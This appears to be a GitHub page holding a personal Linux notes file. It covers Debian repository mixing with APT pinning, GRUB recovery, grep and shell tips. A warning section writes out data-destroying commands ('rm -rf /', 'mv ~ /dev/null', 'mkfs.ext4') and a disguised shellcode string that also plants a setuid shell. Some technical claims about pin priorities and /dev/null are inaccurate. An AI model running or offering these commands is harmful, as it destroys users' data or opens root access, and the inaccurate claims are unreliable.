-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGrimoire
2252 lines (1920 loc) · 161 KB
/
Grimoire
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# ___________ __ __ _______ _______ _______ __ ___ ___ ______ __ _______ _______
# (" _ ")/" | | "\ /" "| /" _ "| /" \ |" \ |" \ /" | / " \ |" \ /" \ /" "|
# )__/ \\__/(: (__) :)(: ______) (: ( \___) |: | || | \ \ // | // ____ \ || | |: |(: ______)
# \\_ / \/ \/ \/ | \/ \ |_____/ ) |: | /\\ \/. | / / ) :)|: | |_____/ ) \/ |
# |. | // __ \\ // ___)_ // \ ___ // / |. | |: \. |(: (____/ // |. | // / // ___)_
# \: | (: ( ) :)(: "| (: _( _||: __ \ /\ |\ |. \ /: | \ / /\ |\ |: __ \ (: "|
# \__| \__| |__/ \_______) \_______) |__| \___)(__\_|_)|___|\__/|___| \"_____/ (__\_|_)|__| \___) \_______)
#
#### _____ _ _ __ _____ _ _
#### / ____| | | (_) /_ | | __ \ | | (_)
####| (___ ___ ___| |_ _ ___ _ __ | | ______ | | | | ___| |__ _ __ _ _ __
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ | | |______| | | | |/ _ \ '_ \| |/ _` | '_ \
#### ____) | __/ (__| |_| | (_) | | | | | | | |__| | __/ |_) | | (_| | | | |
####|_____/ \___|\___|\__|_|\___/|_| |_| |_| |_____/ \___|_.__/|_|\__,_|_| |_|
####
####
##__ ___ _____ _ ____ _ _ _ _ _ _ _ ____ _ _
##\ \ / / |__ _ _ | ___| __ __ _ _ __ | | _____ _ __ | _ \ ___| |__ (_) __ _ _ __ / \ _ __ ___ | | | |___ _ _ __ _| | |_ _ | __ ) ___| |_| |_ ___ _ __
## \ \ /\ / /| '_ \| | | | | |_ | '__/ _` | '_ \| |/ / _ \ '_ \| | | |/ _ \ '_ \| |/ _` | '_ \ / _ \ | '__/ _ \ | | | / __| | | |/ _` | | | | | | | _ \ / _ \ __| __/ _ \ '__|
## \ V V / | | | | |_| | | _|| | | (_| | | | | < __/ | | | |_| | __/ |_) | | (_| | | | | / ___ \| | | __/ | |_| \__ \ |_| | (_| | | | |_| | | |_) | __/ |_| || __/ |
## \_/\_/ |_| |_|\__, | |_| |_| \__,_|_| |_|_|\_\___|_| |_|____/ \___|_.__/|_|\__,_|_| |_| /_/ \_\_| \___| \___/|___/\__,_|\__,_|_|_|\__, | |____/ \___|\__|\__\___|_|
## |___/ |___/
The nanosecond repo here on GitHub creates what is colloquially known as a FrankenDebian.
The Debian Wiki @ https://wiki.debian.org/DontBreakDebian advises against making FrankenDebian. It states unequivocally, "Debian Stable should not be combined with other releases carelessly.
If you're trying to install software that isn't available in the current Debian Stable release, it's not a good idea to add repositories for other Debian releases."
My studies of this have found other results though. I'd like to say that I didn't approach this trying to destroy my system, and most of the time, I didn't have any crashes at all.
The reason I even started experimenting with FrankenDebian is because of the purists who would only respond with "RTFM!@!" and link me to the Wiki instead of explaining the answers to specific questions,
leaving me with more questions and a desire to answer those questions.
First off, The Wiki leads us to believe that adding anything to the sources will create a FrankenDebian!
#Debian testing release ## Absolutely NOT true
#Debian unstable release (also known as sid) ## Absolutely NOT true
#Ubuntu, Mint or other derivative repositories are not compatible with Debian! ## Only partially true.
## It would be more accurate to say "They weren't designed with Debian in mind." Most of them are completely compatiable with Debian.
## However, derivative repos can introduce an element of unpredictabless to a system, so unless you ABSOLUTELY know what you are doing, probably don't do this.
#Ubuntu PPAs and other repositories created to distribute single applications. ## Almost never true. Single applications are much easier to run with Debian than an entire derivative repo.
The biggest problem with this advice is that it ASSUMES that all Debian users have the same needs, and like doing things the hard way.
It also PRESUMES that adding sources to the Debian system will AUTOMATICALLY result in a broken system.
Here's the problem with this thinking. Debian Stable is admittedly the most stable flavor of Debian, but if you need more up-to-date drivers or support for your system, you won't find it on Stable.
So, the Debian purists say "Then install Testing." The problem with Testing is that packages move in and out of Testing so rapidly at times, it can be hard to hold on to any stability at all, especially if you're tracking a package under active development. It's also not unlikely that you will find a package in Testing, but none of the dependencies are available (because they only exist in Stable or Sid).
So, the Debian purists say "then install Sid." While it's true that packages don't move in and out of Sid with as much rapidity as they do on Testing, you're still one system update away from a brick if you're not careful.
This is why the FrankenDebian installation I've made is superior. I found a way to "blend" the sources, without creating chaos.
Here's how it works. In my sources.list, I change all the places where the version is named (i.e; stretch, buster, bullseye, bookworm, trixie, forky, etc) to their generic name (stable, testing, unstable, experimental)
Then, I add all the sources to my sources.list
# deb http://deb.debian.org/debian/ stable main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ stable main contrib non-free non-free-firmware
#
# deb http://deb.debian.org/debian/ stable-updates main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ stable-updates main contrib non-free non-free-firmware
#
# deb http://security.debian.org/debian-security stable-security main contrib non-free
# deb-src http://security.debian.org/debian-security stable-security main contrib non-free
#
# deb http://deb.debian.org/debian/ testing main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ testing main contrib non-free non-free-firmware
#
# deb http://deb.debian.org/debian/ testing-updates main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ testing-updates main contrib non-free non-free-firmware
#
# deb http://deb.debian.org/debian/ unstable main contrib non-free non-free-firmware
# deb-src http://deb.debian.org/debian/ unstable main contrib non-free non-free-firmware
#
# deb http://deb.debian.org/debian/ experimental main contrib non-free
# deb-src http://deb.debian.org/debian/ experimental main contrib non-free
Now, this, JUST BY ITSELF, would be absolute chaos!! It would almost certinaly not work well, or for very long.
What you need to do now is tweak apt_preferences so you force stability on the other sources by deprioritizing them. For more information on how this works, look at the section about APT Preferences below, or open a Terminal and type # man apt_preferences
My completed sourcestopper file looks like this. It change the priority of testing, unstable, and experimental to -10
# Package: *
# Pin: release o=testing
# Pin-Priority: -10
#
# Package: *
# Pin: release a=testing
# Pin-Priority: -10
#
# Package: *
# Pin: release n=testing
# Pin-Priority: -10
#
# Package: *
# Pin: release o=unstable
# Pin-Priority: -10
#
# Package: *
# Pin: release a=unstable
# Pin-Priority: -10
#
# Package: *
# Pin: release n=unstable
# Pin-Priority: -10
#
# Package: *
# Pin: release o=experimental
# Pin-Priority: -10
#
# Package: *
# Pin: release a=experimental
# Pin-Priority: -10
#
# Package: *
# Pin: release n=experimental
# Pin-Priority: -10
By using generic names for the version names, you can actually create a rolling Debian system that REMAINS Stable, but gives you access to other sources as well. Whenever version names change, apt update will show a message that versions have changed,
and it will automatically roll into the next version with no difficulty.
This file when placed in /etc/apt/preferences.d allows you to maintain the system at the Stable level, which tracking Testing, Unstable, and Experimental.
Stable is automatically maintained at a pin-priority of 100 as a default, so none of the new sources will impact the system, but you can still install new drivers and programs (packages in Testing will not be automatically installed, and Stable will always have higher priority)
This type of "blended" FrankenDebian is ridiculously stable, while allowing the most up-to-date software to be accessed and installed. If a particular package only exists in Sid, but the dependencies exist in Testing, all of them will install correctly and only those packages will have any impact on the system.
## _____ _ _ _ _ _____ _ _ ____
##| ___(_)_ __ __| | | |_| |__ ___ | ___|_ _ ___| |_ ___ ___| |_ / ___| ___ _ _ _ __ ___ ___
##| |_ | | '_ \ / _` | | __| '_ \ / _ \ | |_ / _` / __| __/ _ \/ __| __| \___ \ / _ \| | | | '__/ __/ _ \
##| _| | | | | | (_| | | |_| | | | __/ | _| (_| \__ \ || __/\__ \ |_ ___) | (_) | |_| | | | (_| __/
##|_| |_|_| |_|\__,_| \__|_| |_|\___| |_| \__,_|___/\__\___||___/\__| |____/ \___/ \__,_|_| \___\___|
A command line tool called “netselect-apt” is available to find the fastest debian mirror.
The output file is written to OUTFILE.
# sudo aptitude install netselect-apt
The command will look something like this when used
# netselect-apt -c australia -t 15 -a amd64 -n testing
## ____ _ _ _ ____ _ _ ____ _
## / ___|___ _ __ ___ _ __ (_) (_)_ __ __ _ / ___|(_) __| | | _ \ __ _ ___| | ____ _ __ _ ___ ___
##| | / _ \| '_ ` _ \| '_ \| | | | '_ \ / _` | \___ \| |/ _` | | |_) / _` |/ __| |/ / _` |/ _` |/ _ \/ __|
##| |__| (_) | | | | | | |_) | | | | | | | (_| | ___) | | (_| | | __/ (_| | (__| < (_| | (_| | __/\__ \
## \____\___/|_| |_| |_| .__/|_|_|_|_| |_|\__, | |____/|_|\__,_| |_| \__,_|\___|_|\_\__,_|\__, |\___||___/
## |_| |___/ |___/
Install the Debian source (and the development tools, especially debhelper, devscripts, and build-essential), and then build the package.
Step by step:
add a deb-src line for sid to your sources.list
# deb-src http://debian.osuosl.org/debian/ sid main contrib non-free
# apt-get update
# apt-get build-dep PACKAGE_NAME
# apt-get -b source PACKAGE_NAME
The resulting debs should be in the current directory and can be installed with
# dpkg -i *.deb
## ____ _ _ _ _
## / ___| |__ __ _ _ __ __ _ ___ | | | | ___ ___| |_ _ __ __ _ _ __ ___ ___ ___
##| | | '_ \ / _` | '_ \ / _` |/ _ \ | |_| |/ _ \/ __| __| '_ \ / _` | '_ ` _ \ / _ \/ __|
##| |___| | | | (_| | | | | (_| | __/ | _ | (_) \__ \ |_| | | | (_| | | | | | | __/\__ \
## \____|_| |_|\__,_|_| |_|\__, |\___| |_| |_|\___/|___/\__|_| |_|\__,_|_| |_| |_|\___||___/
## |___/
In order to change the hostname of the computer, you need to change the old hostname present in all the areas below to the new hostname.
# /etc/exim4/update-exim4.conf.conf \
# /etc/printcap \
# /etc/hostname \
# /etc/hosts \
# /etc/ssh/ssh_host_rsa_key.pub \
# /etc/ssh/ssh_host_dsa_key.pub \
# /etc/motd \
# /etc/ssmtp/ssmtp.conf
Then reboot the computer. The new hostname should be used immediately.
## _ _ _ _ _ ____ _ _
## _ __ ___ (_)_ __ | |_ ___| |_(_) ___| | __ ___ _ __ | _ \ ___| |__ (_) __ _ _ __
##| '_ ` _ \| | '_ \| __/ __| __| |/ __| |/ / / _ \| '_ \ | | | |/ _ \ '_ \| |/ _` | '_ \
##| | | | | | | | | | |_\__ \ |_| | (__| < | (_) | | | | | |_| | __/ |_) | | (_| | | | |
##|_| |_| |_|_|_| |_|\__|___/\__|_|\___|_|\_\ \___/|_| |_| |____/ \___|_.__/|_|\__,_|_| |_|
Mintstick is a handy tool to use for formatting and creating USB sticks. It's so much easier to use this tool than use fdisk or mkfs
It also includes an imagewriter that makes creating Live Linux USB drives a snap!
However, this package is only included on Linux Mint distros. If you're not using Mint, you'll need to follow the steps below.
# wget http://packages.linuxmint.com/pool/main/m/mintstick/mintstick_1.3.7_all.deb
# sudo dpkg -i mintstick_1.3.7_all.deb
It probably won't install because of missing packages, so...
# sudo apt-get install -f
## ____ _ _ ____ __ __
##| _ \ ___ _ __ ( ) |_ | _ \ _ _ _ __ _ __ _ __ ___ _ __ / _| / /
##| | | |/ _ \| '_ \|/| __| | |_) | | | | '_ \ | '__| '_ ` _ \ _____| '__| |_ / /
##| |_| | (_) | | | | | |_ | _ <| |_| | | | | | | | | | | | | |_____| | | _| / /
##|____/ \___/|_| |_| \__| |_| \_\\__,_|_| |_| |_| |_| |_| |_| |_| |_| /_/
This is probably the most dangerous command you can use on Linux
# rm -rf /
This command deletes everything it possibly can, including all data on the hard drive, and all data on connected removable media devices.
Some trolls will attempt to get you to run this command by disguising it
# char esp[] __attribute__ ((section(".text"))) /* e.s.p
# release */
# = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
# "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
# "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
# "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
# "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
# "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
# "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
# "cp -p /bin/sh /tmp/.beyond; chmod 4755
# /tmp/.beyond;";
This is the hex version of rm -rf.
It will also delete everything just like the above command.
## __ __ ____ ____ _
##| \/ | ___ _ __ ___ | _ \ __ _ _ __ __ _ ___ _ __ ___ _ _ ___ / ___|___ _ __ ___ _ __ ___ __ _ _ __ __| |___
##| |\/| |/ _ \| '__/ _ \ | | | |/ _` | '_ \ / _` |/ _ \ '__/ _ \| | | / __| | | / _ \| '_ ` _ \| '_ ` _ \ / _` | '_ \ / _` / __|
##| | | | (_) | | | __/ | |_| | (_| | | | | (_| | __/ | | (_) | |_| \__ \ | |__| (_) | | | | | | | | | | | (_| | | | | (_| \__ \
##|_| |_|\___/|_| \___| |____/ \__,_|_| |_|\__, |\___|_| \___/ \__,_|___/ \____\___/|_| |_| |_|_| |_| |_|\__,_|_| |_|\__,_|___/
## |___/
/dev/null is a special directory. Moving something to /dev/null is the same thing as destroying it.
# mv ~ /dev/null
So this command would delete your entire home directory.
Another dangerous command to avoid is
# mkfs.ext4 /dev/sda1
This command will format the hard drive and replace your current drive (and all your files) with a new ext4 partition.
## _____ _ _ __ __ ____ _ _ _ _
##|_ _| |__ ___ | | ___ ___ ___ ___ _ __ \ \ / /__ _ _ / ___|| |__ ___ _ _| | __| | | | ___ __ _ _ __ _ __
## | | | '_ \ / _ \ | | / _ \/ __/ __|/ _ \| '_ \ \ V / _ \| | | | \___ \| '_ \ / _ \| | | | |/ _` | | | / _ \/ _` | '__| '_ \
## | | | | | | __/ | |__| __/\__ \__ \ (_) | | | | | | (_) | |_| | ___) | | | | (_) | |_| | | (_| | | |__| __/ (_| | | | | | |
## |_| |_| |_|\___| |_____\___||___/___/\___/|_| |_| |_|\___/ \__,_| |____/|_| |_|\___/ \__,_|_|\__,_| |_____\___|\__,_|_| |_| |_|
DON'T RUN WEIRD LOOKING, OBVIOUSLY DISGUISED CODE, OR COMMANDS THAT YOU DON'T UNDERSTAND
#### _____ _ _ ___ _____ _____ _ _ ____
#### / ____| | | (_) |__ \ / ____| __ \| | | | _ \
####| (___ ___ ___| |_ _ ___ _ __ ) | ______ | | __| |__) | | | | |_) |
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ / / |______| | | |_ | _ /| | | | _ <
#### ____) | __/ (__| |_| | (_) | | | | / /_ | |__| | | \ \| |__| | |_) |
####|_____/ \___|\___|\__|_|\___/|_| |_| |____| \_____|_| \_\\____/|____/
####
####
#__ __ _ __ __ _ ___ _ _ _ ___ _ _
#\ \ / /_ _ _ __ _ __ (_)_ __ __ _ _ | \/ | __ _ _ _ | |/ (_) | | | |/ (_) |_| |_ ___ _ __ ___
# \ \ /\ / / _` | '__| '_ \| | '_ \ / _` (_) | |\/| |/ _` | | | | | ' /| | | | | ' /| | __| __/ _ \ '_ \/ __|
# \ V V / (_| | | | | | | | | | | (_| |_ | | | | (_| | |_| | | . \| | | | | . \| | |_| || __/ | | \__ \
# \_/\_/ \__,_|_| |_| |_|_|_| |_|\__, (_) |_| |_|\__,_|\__, | |_|\_\_|_|_| |_|\_\_|\__|\__\___|_| |_|___/
# |___/ |___/
## _____ _ _ ____ ____ _ _ ____
##|_ _|_ _____ __ _| | _(_)_ __ __ _ / ___| _ \| | | | __ )
## | | \ \ /\ / / _ \/ _` | |/ / | '_ \ / _` | | | _| |_) | | | | _ \
## | | \ V V / __/ (_| | <| | | | | (_| | | |_| | _ <| |_| | |_) |
## |_| \_/\_/ \___|\__,_|_|\_\_|_| |_|\__, | \____|_| \_\\___/|____/
## |___/
Your GRUB settings are stored in. This is the file you edit to change GRUB settings.
# /etc/default/grub
Scripts are located in: Be careful editing or changing any scripts here. Serious system damage can result.
# /etc/grub.d/
After editing things, run the command
# update-grub
This makes GRUB automatically combines the settings from the /etc/default/grub, the scripts from the /etc/grub.d/, and creates a /boot/grub/grub.cfg file that’s read at boot.
It is possible to edit the file in /boot/grub/grub.cfg but this should be the absolute last resort you take!
## ____ _ ____ ____ _ _ ____
##| _ \ ___ ___ _____ _____ _ __(_)_ __ __ _ / ___| _ \| | | | __ )
##| |_) / _ \/ __/ _ \ \ / / _ \ '__| | '_ \ / _` | | | _| |_) | | | | _ \
##| _ < __/ (_| (_) \ V / __/ | | | | | | (_| | | |_| | _ <| |_| | |_) |
##|_| \_\___|\___\___/ \_/ \___|_| |_|_| |_|\__, | \____|_| \_\\___/|____/
## |___/
Boot into your Linux LiveCD (use the same version as the one you are recovering, if possible).
Open Terminal and type:
# sudo fdisk -l /dev/sdX (Replace X with correct letter if you know which partition you use.
# (Use /dev/sd* for a full report on all partitions)
Under this list you can see which one is the Linux Mint partition. It’s usually /dev/sda1/ unless you are dual-booting.
You need to mount the Linux Mint partition so you can access it. To do this, type:
# sudo mount /dev/sdXY /mnt (Replace X with the correct letter, and Y with the correct number)
Now you need to tell Linux Mint to install grub2 to the partition you just mounted. To do this, type:
# sudo grub-install --root-directory=/mnt/ /dev/sdX (replace X with correct letter)
(It is IMPORTANT that you do NOT enter any number, just the letter of the partition)
Now reboot the computer. You should see a GRUB menu pop up when the reboot is done. If you are dual-booting you may need to refresh GRUB so it detects any Windows partitions. To do this, log in, and open a Terminal and type:
# sudo update-grub
#### _____ _ _ ____ ____ _____ _ _ _____ _ _ _
#### / ____| | | (_) |___ \ | _ \ /\ / ____| | | | / ____| | | | |
####| (___ ___ ___| |_ _ ___ _ __ __) | ______ | |_) | / \ | (___ | |__| | | (___ | |__ ___| | |
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ |__ < |______| | _ < / /\ \ \___ \| __ | \___ \| '_ \ / _ \ | |
#### ____) | __/ (__| |_| | (_) | | | | ___) | | |_) / ____ \ ____) | | | | ____) | | | | __/ | |
####|_____/ \___|\___|\__|_|\___/|_| |_| |____/ |____/_/ \_\_____/|_| |_| |_____/|_| |_|\___|_|_|
####
####
## _ __ __ _ _ __ ___ _ __ ___
##| '_ \ / _` | '_ \ / _ \| '__/ __|
##| | | | (_| | | | | (_) | | | (__
##|_| |_|\__,_|_| |_|\___/|_| \___|
To create custom edits of nano preferences, make a copy of the default.nanorc and rename the existing file so that you don't lose it
The file is in /etc/nanorc
Make the edits, and put the file back in /etc/nanorc/default.nanorc
## _____ _ ____ ____ _____ ____ __ __ _
##|_ _| |__ ___ / ___| _ \| ____| _ \ | \/ | __ _ _ __ _ _ __ _| |
## | | | '_ \ / _ \ | | _| |_) | _| | |_) | | |\/| |/ _` | '_ \| | | |/ _` | |
## | | | | | | __/ | |_| | _ <| |___| __/ | | | | (_| | | | | |_| | (_| | |
## |_| |_| |_|\___| \____|_| \_\_____|_| |_| |_|\__,_|_| |_|\__,_|\__,_|_|
To search for the given string within a single file
# grep “literal_string” [filename]
To search for a given string within multiple files
# grep “literal_string” FILE_PATTERN
Case-insensitive search
# grep -i “literal_string” [filename]
# grep -i “string” FILE_PATTERN
Regular expression search - This is very powerful feature, if you use regular expression correctly. In the following example, grep searches for all the pattern that starts with “lines” and ends with “empty” and has anything in between in the demo_file.
# grep “lines.*empty” demo_file
From the documentation of grep:
A regular expression may be followed by one of several repetition operators:
? The preceding item is optional and matched at most once.
* The preceding item will be matched zero or more times.
+ The preceding item will be matched one or more times.
{n} The preceding item is matched exactly n times.
{n,} The preceding item is matched n or more times.
{n,m} The preceding item is matched at least n times, but not more than m times.
To search all files under the current directory and its subdirectory, use
# grep -r
When you want to display lines that do not match the search, invert the search with
# grep -v
Display the lines which do not match all the given patterns
# grep -v -e “pattern” -e “pattern”
Show line numbers and file names in results
# grep -n -H
## _ _ _
## __| | __| | _ __ _ __ ___ __ _ _ __ ___ ___ ___ | |__ __ _ _ __
## / _` |/ _` | | '_ \| '__/ _ \ / _` | '__/ _ \/ __/ __| | '_ \ / _` | '__|
##| (_| | (_| | | |_) | | | (_) | (_| | | | __/\__ \__ \ | |_) | (_| | |
## \__,_|\__,_| | .__/|_| \___/ \__, |_| \___||___/___/ |_.__/ \__,_|_|
## |_| |___/
Use pv to add a loading bar.
# sudo aptitude install pv
Then use the following piped command:
# dd if=/path/to/source | pv | dd of=/path/to/write
## ____ _____ _
##| __ ) _ __ __ _ ___ ___ | ____|_ ___ __ __ _ _ __ ___(_) ___ _ __
##| _ \| '__/ _` |/ __/ _ \ | _| \ \/ / '_ \ / _` | '_ \/ __| |/ _ \| '_ \
##| |_) | | | (_| | (_| __/ | |___ > <| |_) | (_| | | | \__ \ | (_) | | | |
##|____/|_| \__,_|\___\___| |_____/_/\_\ .__/ \__,_|_| |_|___/_|\___/|_| |_|
## |_|
Using brackets {} in a BASH statement allows you to make commands that run with different strings.
For example, in the following command, md5sum is run on all images that end with jpg, JPG, png, and PNG.
# md5sum *.{jpg,JPG,png,PNG}
## ____ _ _ ____ _ ____ _ _ _ _ _ _
## / ___| | ___ __ _ _ __(_)_ __ __ _ | __ ) / \ / ___|| | | | | | | (_)___| |_ ___ _ __ _ _
##| | | |/ _ \/ _` | '__| | '_ \ / _` | | _ \ / _ \ \___ \| |_| | | |_| | / __| __/ _ \| '__| | | |
##| |___| | __/ (_| | | | | | | | (_| | | |_) / ___ \ ___) | _ | | _ | \__ \ || (_) | | | |_| |
## \____|_|\___|\__,_|_| |_|_| |_|\__, | |____/_/ \_\____/|_| |_| |_| |_|_|___/\__\___/|_| \__, |
## |___/ |___/
After a long time of using BASH, you get a history file that is HUGE! Mine can usually top out to 2000 commands within a week or two. But if there are some commands you don't want people to see, there are multiple ways to go about deleting them.
To erase the history file completely and start over:
# history -c && history -w
To edit commands out of the history file
# nano ~/.bash_history
Then, save the file, and CLOSE the Terminal completely and reopen it.
## _____ _ _ ____ _ _ _
##| ___|__ _ __ ___ ___ | | ___ __ _(_)_ __ / ___|| |__ ___| | |
##| |_ / _ \| '__/ __/ _ \ | | / _ \ / _` | | '_ \ \___ \| '_ \ / _ \ | |
##| _| (_) | | | (_| __/ | |__| (_) | (_| | | | | | ___) | | | | __/ | |
##|_| \___/|_| \___\___| |_____\___/ \__, |_|_| |_| |____/|_| |_|\___|_|_|
## |___/
If a login shell is not an option on the Terminal settings (common in Konsole)
Edit the Current Profile and look for the login Command. It will likely look like
# /bin/bash
Edit that line to read
# /bin/bash -l
This will force a login shell everytime the Terminal profile is opened.
##__ ___ _ _ _____ _ _ _ _ _ __ __ ___
##\ \ / / |__ __ _| |_( )___ |_ _| |__ __ _| |_ / \ | (_) __ _ ___ | \/ | ___ __ _ _ __|__ \
## \ \ /\ / /| '_ \ / _` | __|// __| | | | '_ \ / _` | __| / _ \ | | |/ _` / __| | |\/| |/ _ \/ _` | '_ \ / /
## \ V V / | | | | (_| | |_ \__ \ | | | | | | (_| | |_ / ___ \| | | (_| \__ \ | | | | __/ (_| | | | |_|
## \_/\_/ |_| |_|\__,_|\__| |___/ |_| |_| |_|\__,_|\__| /_/ \_\_|_|\__,_|___/ |_| |_|\___|\__,_|_| |_(_)
To figure out easily what the command is that is running behind an alias, use:
# type [alias]
#### _____ _ _ _ _ _____ _
#### / ____| | | (_) | || | | __ \ | |
####| (___ ___ ___| |_ _ ___ _ __ | || |_ ______ | |__) |_ _ ___| | ____ _ __ _ ___ ___
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ |__ _| |______| | ___/ _` |/ __| |/ / _` |/ _` |/ _ \/ __|
#### ____) | __/ (__| |_| | (_) | | | | | | | | | (_| | (__| < (_| | (_| | __/\__ \
####|_____/ \___|\___|\__|_|\___/|_| |_| |_| |_| \__,_|\___|_|\_\__,_|\__, |\___||___/
#### __/ |
#### |___/
## ____ _ _ _ _
##| _ \ __ _ ___| | ____ _ __ _ ___ / \ _ __ ___| |__ (_)_ _____
##| |_) / _` |/ __| |/ / _` |/ _` |/ _ \ / _ \ | '__/ __| '_ \| \ \ / / _ \
##| __/ (_| | (__| < (_| | (_| | __/ / ___ \| | | (__| | | | |\ V / __/
##|_| \__,_|\___|_|\_\__,_|\__, |\___| /_/ \_\_| \___|_| |_|_| \_/ \___|
## |___/
If you haven't cleaned this folder recently, you can find every package you've installed in /var/cache/apt/archives
This is useful to roll back to a previous version if something breaks.
## ____ __ _ _
##/ ___| ___ _ __ ___ ___ _ __ / _| ___| |_ ___| |__
##\___ \ / __| '__/ _ \/ _ \ '_ \| |_ / _ \ __/ __| '_ \
## ___) | (__| | | __/ __/ | | | _| __/ || (__| | | |
##|____/ \___|_| \___|\___|_| |_|_| \___|\__\___|_| |_|
##
Screenfetch is a really cool way of displaying infos about your computer in a Terminal.
# wget -O screenfetch 'https://raw.github.com/KittyKatt/screenfetch/master/screenfetch-dev'
# chmod +x screenfetch
# sudo mv screenfetch /usr/bin/
## _ _
##(_)_ __ __ _(_)
##| | '_ \\ \/ / |
##| | | | |> <| |
##|_|_| |_/_/\_\_|
##
The inxi program has been neutered on most Linux distros so it can't update using -U
To allow updating, open a Terminal and
# sudo touch /etc/inxi.conf && echo 'B_ALLOW_UPDATE=true' >> /etc/inxi.conf
#### _____ _ _ _____ _____ _______
#### / ____| | | (_) | ____| /\ | __ \__ __|
####| (___ ___ ___| |_ _ ___ _ __ | |__ ______ / \ | |__) | | |
#### \___ \ / _ \/ __| __| |/ _ \| '_ \ |___ \ |______| / /\ \ | ___/ | |
#### ____) | __/ (__| |_| | (_) | | | | ___) | / ____ \| | | |
####|_____/ \___|\___|\__|_|\___/|_| |_| |____/ /_/ \_\_| |_|
####
####
## _____ _ ____ _ ____ _ _ _ _
##| ___(_)_ __ | __ ) _ __ ___ | | _____ _ __ | _ \ __ _ ___| | ____ _ __ _ ___ | | | | ___ __ _ __| | ___ _ __ ___
##| |_ | \ \/ / | _ \| '__/ _ \| |/ / _ \ '_ \ | |_) / _` |/ __| |/ / _` |/ _` |/ _ \ | |_| |/ _ \/ _` |/ _` |/ _ \ '__/ __|
##| _| | |> < | |_) | | | (_) | < __/ | | | | __/ (_| | (__| < (_| | (_| | __/ | _ | __/ (_| | (_| | __/ | \__ \
